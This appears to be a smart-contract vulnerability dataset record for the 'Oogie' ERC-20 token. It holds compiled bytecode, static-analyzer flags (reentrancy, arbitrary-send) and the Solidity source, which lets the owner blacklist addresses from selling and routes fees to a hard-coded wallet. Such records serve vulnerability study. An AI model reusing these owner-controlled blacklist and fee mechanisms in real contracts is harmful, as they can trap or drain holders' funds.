9050919050565b60006020820190508181036000830152612f5881612cb3565b9050919050565b6000602082019050612f746000830184612cd6565b92915050565b600060a082019050612f8f6000830188612cd6565b612f9c6020830187612b0d565b8181036040830152612fae8186612aa0565b9050612fbd6060830185612a91565b612fca6080830184612cd6565b9695505050505050565b6000602082019050612fe96000830184612ce5565b92915050565b6000612ff961300a565b90506130058282613244565b919050565b6000604051905090565b600067ffffffffffffffff82111561302f5761302e61331c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006130a0826131e8565b91506130ab836131e8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156130e0576130df6132be565b5b828201905092915050565b60006130f6826131e8565b9150613101836131e8565b925082613111576131106132ed565b5b828204905092915050565b6000613127826131e8565b9150613132836131e8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561316b5761316a6132be565b5b828202905092915050565b6000613181826131e8565b915061318c836131e8565b92508282101561319f5761319e6132be565b5b828203905092915050565b60006131b5826131c8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061320a826131e8565b9050919050565b60005b8381101561322f578082015181840152602081019050613214565b8381111561323e576000848401525b50505050565b61324d8261334b565b810181811067ffffffffffffffff8211171561326c5761326b61331c565b5b80604052505050565b6000613280826131e8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132b3576132b26132be565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b613632816131aa565b811461363d57600080fd5b50565b613649816131bc565b811461365457600080fd5b50565b613660816131e8565b811461366b57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212205a7d7be2bdf6bdd19d10a43013205031531fb73f57fe58cdef2c9c7097d5b28364736f6c63430008030033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,277 |
0xf5c10e7d80eb188b1a8d3f4dbae9f27de09c7b2c
|
/**
👨👩👦👦Tg: https://t.me/oogieerc
🌐Website: https://oogieerc.com/
*/
pragma solidity ^0.8.7;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _dev;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Oogie is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
struct Taxes {
uint256 buyFee1;
uint256 buyFee2;
uint256 sellFee1;
uint256 sellFee2;
}
Taxes private _taxes = Taxes(0,9,0,9);
uint256 private initialTotalBuyFee = _taxes.buyFee1 + _taxes.buyFee2;
uint256 private initialTotalSellFee = _taxes.sellFee1 + _taxes.sellFee2;
address payable private _feeAddrWallet;
uint256 private _feeRate = 15;
string private constant _name = "Oogie";
string private constant _symbol = "Oogie";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
bool private _isBuy = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0x88c6E3f0ABEa07F6f9364cd804B435b6694FEab7);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(amount > 0, "Transfer amount must be greater than zero");
_isBuy = true;
if (from != owner() && to != owner()) {
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// buy
require(amount <= _maxTxAmount);
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
}
if (from != address(uniswapV2Router) && ! _isExcludedFromFee[from] && to == uniswapV2Pair){
require(!bots[from] && !bots[to]);
_isBuy = false;
}
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function getIsBuy() private view returns (bool){
return _isBuy;
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function adjustFees(uint256 buyFee1, uint256 buyFee2, uint256 sellFee1, uint256 sellFee2) external onlyOwner {
require(buyFee1 + buyFee2 <= initialTotalBuyFee);
require(sellFee1 + sellFee2 <= initialTotalSellFee);
_taxes.buyFee1 = buyFee1;
_taxes.buyFee2 = buyFee2;
_taxes.sellFee1 = sellFee1;
_taxes.sellFee2 = sellFee2;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function setFeeRate(uint256 rate) external {
require(_msgSender() == _feeAddrWallet);
require(rate<=49);
_feeRate = rate;
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 15000000 * 10**9;
_maxWalletSize = 30000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function addBot(address[] memory _bots) public onlyOwner {
for (uint i = 0; i < _bots.length; i++) {
if (_bots[i] != address(this) && _bots[i] != uniswapV2Pair && _bots[i] != address(uniswapV2Router)){
bots[_bots[i]] = true;
}
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = getIsBuy() ? _getTValues(tAmount, _taxes.buyFee1, _taxes.buyFee2) : _getTValues(tAmount, _taxes.sellFee1, _taxes.sellFee2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101395760003560e01c80636fc3eaec116100ab57806395d89b411161006f57806395d89b41146103e3578063a9059cbb1461040e578063b87f137a1461044b578063c3c8cd8014610474578063c9567bf91461048b578063dd62ed3e146104a257610140565b80636fc3eaec1461033657806370a082311461034d578063715018a61461038a578063751039fc146103a15780638da5cb5b146103b857610140565b806323b872dd116100fd57806323b872dd1461022a578063273123b714610267578063313ce5671461029057806345596e2e146102bb5780635932ead1146102e4578063677daa571461030d57610140565b806306fdde0314610145578063095ea7b31461017057806317e1df5b146101ad57806318160ddd146101d657806321bbcbb11461020157610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a6104df565b604051610167919061303d565b60405180910390f35b34801561017c57600080fd5b5061019760048036038101906101929190612b46565b61051c565b6040516101a49190613022565b60405180910390f35b3480156101b957600080fd5b506101d460048036038101906101cf9190612ca9565b61053a565b005b3480156101e257600080fd5b506101eb610631565b6040516101f8919061317f565b60405180910390f35b34801561020d57600080fd5b5061022860048036038101906102239190612b86565b610641565b005b34801561023657600080fd5b50610251600480360381019061024c9190612af3565b6108a3565b60405161025e9190613022565b60405180910390f35b34801561027357600080fd5b5061028e60048036038101906102899190612a59565b61097c565b005b34801561029c57600080fd5b506102a5610a6c565b6040516102b291906131f4565b60405180910390f35b3480156102c757600080fd5b506102e260048036038101906102dd9190612c29565b610a75565b005b3480156102f057600080fd5b5061030b60048036038101906103069190612bcf565b610aee565b005b34801561031957600080fd5b50610334600480360381019061032f9190612c29565b610ba0565b005b34801561034257600080fd5b5061034b610c79565b005b34801561035957600080fd5b50610374600480360381019061036f9190612a59565b610ceb565b604051610381919061317f565b60405180910390f35b34801561039657600080fd5b5061039f610d3c565b005b3480156103ad57600080fd5b506103b6610e8f565b005b3480156103c457600080fd5b506103cd610f44565b6040516103da9190612f54565b60405180910390f35b3480156103ef57600080fd5b506103f8610f6d565b604051610405919061303d565b60405180910390f35b34801561041a57600080fd5b5061043560048036038101906104309190612b46565b610faa565b6040516104429190613022565b60405180910390f35b34801561045757600080fd5b50610472600480360381019061046d9190612c29565b610fc8565b005b34801561048057600080fd5b506104896110a1565b005b34801561049757600080fd5b506104a061111b565b005b3480156104ae57600080fd5b506104c960048036038101906104c49190612ab3565b611680565b6040516104d6919061317f565b60405180910390f35b60606040518060400160405280600581526020017f4f6f676965000000000000000000000000000000000000000000000000000000815250905090565b6000610530610529611707565b848461170f565b6001905092915050565b610542611707565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105c6906130df565b60405180910390fd5b600f5483856105de91906132b5565b11156105e957600080fd5b60105481836105f891906132b5565b111561060357600080fd5b83600b6000018190555082600b6001018190555081600b6002018190555080600b6003018190555050505050565b6000670de0b6b3a7640000905090565b610649611707565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106cd906130df565b60405180910390fd5b60005b815181101561089f573073ffffffffffffffffffffffffffffffffffffffff1682828151811061070c5761070b61353c565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16141580156107a05750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1682828151811061077f5761077e61353c565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b80156108145750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168282815181106107f3576107f261353c565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b1561088c576001600760008484815181106108325761083161353c565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b808061089790613495565b9150506106d9565b5050565b60006108b08484846118da565b610971846108bc611707565b61096c8560405180606001604052806028815260200161383460289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610922611707565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e809092919063ffffffff16565b61170f565b600190509392505050565b610984611707565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a08906130df565b60405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ab6611707565b73ffffffffffffffffffffffffffffffffffffffff1614610ad657600080fd5b6031811115610ae457600080fd5b8060128190555050565b610af6611707565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7a906130df565b60405180910390fd5b80601460176101000a81548160ff02191690831515021790555050565b610ba8611707565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2c906130df565b60405180910390fd5b60008111610c4257600080fd5b610c706064610c6283670de0b6b3a7640000611ee490919063ffffffff16565b611f5f90919063ffffffff16565b60158190555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610cba611707565b73ffffffffffffffffffffffffffffffffffffffff1614610cda57600080fd5b6000479050610ce881611fa9565b50565b6000610d35600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612015565b9050919050565b610d44611707565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dd1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc8906130df565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610e97611707565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1b906130df565b60405180910390fd5b670de0b6b3a7640000601581905550670de0b6b3a7640000601681905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f4f6f676965000000000000000000000000000000000000000000000000000000815250905090565b6000610fbe610fb7611707565b84846118da565b6001905092915050565b610fd0611707565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461105d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611054906130df565b60405180910390fd5b6000811161106a57600080fd5b611098606461108a83670de0b6b3a7640000611ee490919063ffffffff16565b611f5f90919063ffffffff16565b60168190555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110e2611707565b73ffffffffffffffffffffffffffffffffffffffff161461110257600080fd5b600061110d30610ceb565b905061111881612083565b50565b611123611707565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a7906130df565b60405180910390fd5b60148054906101000a900460ff16156111fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f59061315f565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061128d30601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a764000061170f565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156112d357600080fd5b505afa1580156112e7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061130b9190612a86565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561136d57600080fd5b505afa158015611381573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113a59190612a86565b6040518363ffffffff1660e01b81526004016113c2929190612f6f565b602060405180830381600087803b1580156113dc57600080fd5b505af11580156113f0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114149190612a86565b601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061149d30610ceb565b6000806114a8610f44565b426040518863ffffffff1660e01b81526004016114ca96959493929190612fc1565b6060604051808303818588803b1580156114e357600080fd5b505af11580156114f7573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061151c9190612c56565b5050506001601460166101000a81548160ff0219169083151502179055506001601460176101000a81548160ff02191690831515021790555066354a6ba7a18000601581905550666a94d74f43000060168190555060016014806101000a81548160ff021916908315150217905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161162a929190612f98565b602060405180830381600087803b15801561164457600080fd5b505af1158015611658573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061167c9190612bfc565b5050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561177f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117769061313f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156117ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117e69061307f565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118cd919061317f565b60405180910390a3505050565b6000811161191d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611914906130ff565b60405180910390fd5b6001601460186101000a81548160ff021916908315150217905550611940610f44565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119ae575061197e610f44565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e7057601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611a5e5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611ab45750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611acc5750601460179054906101000a900460ff165b15611b3957601554811115611ae057600080fd5b60165481611aed84610ceb565b611af791906132b5565b1115611b38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b2f9061311f565b60405180910390fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611be15750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611c3a5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611d0857600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611ce35750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611cec57600080fd5b6000601460186101000a81548160ff0219169083151502179055505b6000611d1330610ceb565b9050611d676064611d59601254611d4b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610ceb565b611ee490919063ffffffff16565b611f5f90919063ffffffff16565b811115611dc357611dc06064611db2601254611da4601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610ceb565b611ee490919063ffffffff16565b611f5f90919063ffffffff16565b90505b601460159054906101000a900460ff16158015611e2e5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611e465750601460169054906101000a900460ff165b15611e6e57611e5481612083565b60004790506000811115611e6c57611e6b47611fa9565b5b505b505b611e7b83838361230b565b505050565b6000838311158290611ec8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ebf919061303d565b60405180910390fd5b5060008385611ed79190613396565b9050809150509392505050565b600080831415611ef75760009050611f59565b60008284611f05919061333c565b9050828482611f14919061330b565b14611f54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f4b906130bf565b60405180910390fd5b809150505b92915050565b6000611fa18383604051806040016